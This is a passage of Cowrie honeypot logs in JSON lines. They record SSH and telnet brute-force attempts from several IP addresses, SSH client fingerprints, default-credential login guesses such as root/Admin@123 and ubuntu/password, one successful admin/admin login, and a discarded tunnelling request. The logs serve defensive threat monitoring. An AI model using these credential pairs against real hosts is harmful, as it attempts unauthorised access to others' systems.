a-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:42.342367Z","src_ip":"176.65.132.129","session":"7d89fe78d2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:42.586530Z","src_ip":"176.65.132.129","session":"7d89fe78d2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:43.671294Z","src_ip":"176.65.132.129","session":"7d89fe78d2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.15348482131958,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:43.679918Z","src_ip":"45.58.127.90","session":"133eb8e482d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43614,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5044224ca0","protocol":"ssh","message":"New connection: 176.65.132.129:43614 (159.203.135.109:22) [session: 9b5044224ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:45.509706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:45.514351Z","src_ip":"176.65.132.129","session":"9b5044224ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:45.596046Z","src_ip":"176.65.132.129","session":"9b5044224ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:45.843173Z","src_ip":"176.65.132.129","session":"9b5044224ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:47.049143Z","src_ip":"176.65.132.129","session":"9b5044224ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00201749801636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:47.824872Z","src_ip":"195.245.96.245","session":"cbcbbc10cd08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50478,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c8c3e2abf9b","protocol":"ssh","message":"New connection: 176.65.132.129:50478 (159.203.135.109:22) [session: 9c8c3e2abf9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:48.763845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:48.768442Z","src_ip":"176.65.132.129","session":"9c8c3e2abf9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:48.852999Z","src_ip":"176.65.132.129","session":"9c8c3e2abf9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:49.138092Z","src_ip":"176.65.132.129","session":"9c8c3e2abf9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59412,"dst_ip":"159.203.135.109","dst_port":22,"session":"78b5c80b337c","protocol":"ssh","message":"New connection: 172.237.20.62:59412 (159.203.135.109:22) [session: 78b5c80b337c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:49.425025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:49.489838Z","src_ip":"172.237.20.62","session":"78b5c80b337c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:49.589605Z","src_ip":"172.237.20.62","session":"78b5c80b337c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39466,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d9efd9989a","protocol":"telnet","message":"New connection: 45.58.127.90:39466 (10.17.0.5:23) [session: d0d9efd9989a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:50.004886Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:50.222122Z","src_ip":"176.65.132.129","session":"9c8c3e2abf9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:50.238725Z","src_ip":"172.237.20.62","session":"78b5c80b337c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5572,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbb2bc057af1","protocol":"ssh","message":"New connection: 87.251.64.176:5572 (10.17.0.5:22) [session: bbb2bc057af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.335916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.340805Z","src_ip":"87.251.64.176","session":"bbb2bc057af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.406184Z","src_ip":"172.237.20.62","session":"78b5c80b337c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.446934Z","src_ip":"87.251.64.176","session":"bbb2bc057af1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.737417Z","src_ip":"87.251.64.176","session":"bbb2bc057af1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.836344Z","session":"bbb2bc057af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39478,"dst_ip":"10.17.0.5","dst_port":23,"session":"6082c483f2e1","protocol":"telnet","message":"New connection: 45.58.127.90:39478 (10.17.0.5:23) [session: 6082c483f2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.871186Z"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:51.934633Z","src_ip":"87.251.64.176","session":"bbb2bc057af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:52.034808Z","src_ip":"87.251.64.176","session":"bbb2bc057af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50494,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c7f0146a85","protocol":"ssh","message":"New connection: 176.65.132.129:50494 (159.203.135.109:22) [session: e7c7f0146a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:52.139579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:52.143730Z","src_ip":"176.65.132.129","session":"e7c7f0146a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:52.226363Z","src_ip":"176.65.132.129","session":"e7c7f0146a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122094154358,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:52.457843Z","src_ip":"195.245.96.245","session":"2720a54b554b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:52.471060Z","src_ip":"176.65.132.129","session":"e7c7f0146a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:53.555962Z","src_ip":"176.65.132.129","session":"e7c7f0146a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157403945923,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:54.521163Z","src_ip":"195.245.96.245","session":"8ef48183cab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":48718,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc14ac0b83e","protocol":"telnet","message":"New connection: 195.245.96.245:48718 (159.203.135.109:23) [session: 3cc14ac0b83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:54.889143Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50510,"dst_ip":"159.203.135.109","dst_port":22,"session":"50528adfe87b","protocol":"ssh","message":"New connection: 176.65.132.129:50510 (159.203.135.109:22) [session: 50528adfe87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:55.503021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:55.507694Z","src_ip":"176.65.132.129","session":"50528adfe87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:55.589748Z","src_ip":"176.65.132.129","session":"50528adfe87b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:55.836344Z","src_ip":"176.65.132.129","session":"50528adfe87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:57.003579Z","src_ip":"176.65.132.129","session":"50528adfe87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":6378,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c3e970e5922","protocol":"telnet","message":"New connection: 195.245.96.245:6378 (159.203.135.109:23) [session: 1c3e970e5922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:58.042023Z"}
{"eventid":"cowrie.session.closed","duration":0.020351409912109375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:58.062255Z","src_ip":"195.245.96.245","session":"1c3e970e5922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53324,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b3ce9febb50","protocol":"ssh","message":"New connection: 176.65.132.129:53324 (159.203.135.109:22) [session: 0b3ce9febb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:58.764511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:58.769130Z","src_ip":"176.65.132.129","session":"0b3ce9febb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 